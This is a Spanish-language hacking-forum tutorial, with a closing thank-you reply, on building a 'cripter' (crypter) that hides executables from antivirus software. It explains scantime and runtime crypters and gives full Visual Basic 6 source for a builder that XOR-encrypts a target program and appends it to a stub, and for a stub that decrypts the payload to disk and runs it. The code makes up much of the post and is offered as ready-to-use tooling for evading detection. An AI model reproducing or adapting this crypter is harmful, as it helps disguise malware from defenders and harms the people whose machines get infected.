¿Que es un cripter?
Es un malware que hace indetectable un ejecutable.
Básicamente lo que hace es guardar cifrados los datos del ejecutable detectado, haciendo invisible el archivo para los AV. Una vez que se ejecute el archivo cifrado el programa lo descifra y ejecuta.
Tipos de cripters.
Existen dos tipos:
-Scantime: El programa que queremos proteger al descifrarlo se guarda en disco para ejecutarlo.
-Runtime: el programa que estamos protegiendo se ejecuta en memoria sin guardarlo en el disco.
Funcionamiento del cripter.
Esto puede parecer complejo al principio pero es muy simple. Para que un cripter funcione tenemos que tener dos archivos:
-Builder (o Creador): será el que se encargara de cifrar el archivo que queremos proteger y unirlo con el stub.
-Stub: es el ejecutable que descifra el archivo y lo ejecuta, osea el que protege el archivo haciendolo indetectable.
Teniendo claro que tenemos que tener esos dos archivos para que nuestro ejecutable funcione vamos a verlo mas despacio....
Paso 1: el builder lee el archivo que queremos proteger y cifra sus datos.
Paso 2: El builder lee el stub y coge sus datos
Paso 3: El builder genera un archivo exe con la siguiente estructura...
STUB + "MARCA" + DATOS CIFRADOS
la "MARCA" sera lo que nos indique el final del stub y donde empiezan los datos que hay que descifrar y ejecutar.
Paso 4: Una vez que tenemos generado nuestro archivo protegido el stub se ejecuta, se lee a si mismo, busca la "MARCA" y todos los datos que hay a partir de ahi los descifra y los ejecuta.
Programando la teoría.
Primero programaremos el builder, el builder es generico, osea sirve para un cripter scantime o runtime, vemos el código comentado...
Option Explicit
Private Sub AbrirArchivo_Click() ' Boton con el que seleccionaremos el archivo ejecutable
With CD ' Objeto CommonDialog
.Filter = "Archivos ejecutables |*.exe" ' Le decimos que solo puedan seleccionar archivos ejecutables
.ShowOpen
Text1.Text = .FileName ' Guardamos el ejecutable que selecciono en el textbox1
End With
End Sub
Private Sub Cifrar_Click() ' Boton que cifra y genera el archivo
Dim Datos As String
Dim DatosCifrados As String
Dim Stub As String
Open Text1.Text For Binary As #1 ' Leemos el archivo que queremos cifrar
Datos = Space(LOF(1))
Get #1, , Datos
Close #1
DatosCifrados = CifrarDatos(Datos) ' Ciframos los datos
Open App.Path & "\Stub.exe" For Binary As #2 ' Leemos el stub
Stub = Space(LOF(2))
Get #2, , Stub
Close #2
Open App.Path & "\Generado.exe" For Binary As #3 ' generamos el ejecutable final cifrado:
Put #3, , Stub ' Escribimos el stub
Put #3, , "FORO.ELHACKER.NET" ' Escribimos nuestra "MARCA"
Put #3, , DatosCifrados ' Escribimos los datos cifrados
Close #3
MsgBox "Archivo cifrado" ' Terminamos de cifrar
End Sub
Public Function CifrarDatos(Datos As String) As String ' Funcion que cifra los datos
Dim i As Integer
Dim Buffer As String
For i = 1 To Len(Datos)
Buffer = Buffer & Chr(Asc(Mid(Datos, i, 1)) Xor 5)
Next i
CifrarDatos = Buffer
End Function
Ahora el stub (de un cripter scantime).
Option Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Form_Load()
Dim Misdatos As String
Dim cifrados As String
Dim Descifrados As String
Open App.Path & "\Generado.exe" For Binary As #1 ' Nos leemos a nostros mismos
Misdatos = Space(LOF(1))
Get #1, , Misdatos
Close #1
cifrados = Split(Misdatos, "FORO.ELHACKER.NET")(1) ' Obtenemos lo que hay a partis de la marca
Descifrados = CifrarDatos(cifrados) ' Desciframos el ejecutable que teniamos guardados
Open App.Path & "\Descifrado.exe" For Binary As #1 ' Generamos el ejecutable
Put #1, , Descifrados ' NOTA: Normalmente se extrae el archivo en otra ruta, no en la ruta donde esta el ejecutbale cifrado.
Close #1
Call ShellExecute(Me.hwnd, "Open", App.Path & "\Descifrado.exe", "", "", 1) ' Ejecutamos el ejecutable
End Sub
Public Function CifrarDatos(Datos As String) As String ' Funcion que descifra los datos
Dim i As Integer
Dim Buffer As String
For i = 1 To Len(Datos)
Buffer = Buffer & Chr(Asc(Mid(Datos, i, 1)) Xor 5)
Next i
CifrarDatos = Buffer
End Function
Bién, ya tenemos programado nuestro primer cripter ;-)
(http://oi63.tinypic.com/r7qf7a.jpg)
Ahora para hacerlo RunTime (Que son los que se usan normalmente) lo que tenemos que hacer es crear un RunPE, pero esto no se tratará en este tutorial. Para poder entender su funcionamiento podeis leer sobre el formato PE, aquí un tema con información al respecto:
http://foro.elhacker.net/analisis_y_diseno_de_malware/formato_pe-t446963.0.html
Espero que haya servido como guia a los que no tenian idea de como hacerlo, ahora tengan una base.
saludos.
Se agradece fary seguro a muchos les ayudara a entender el funcionamiento y no solo a copiar y pegar.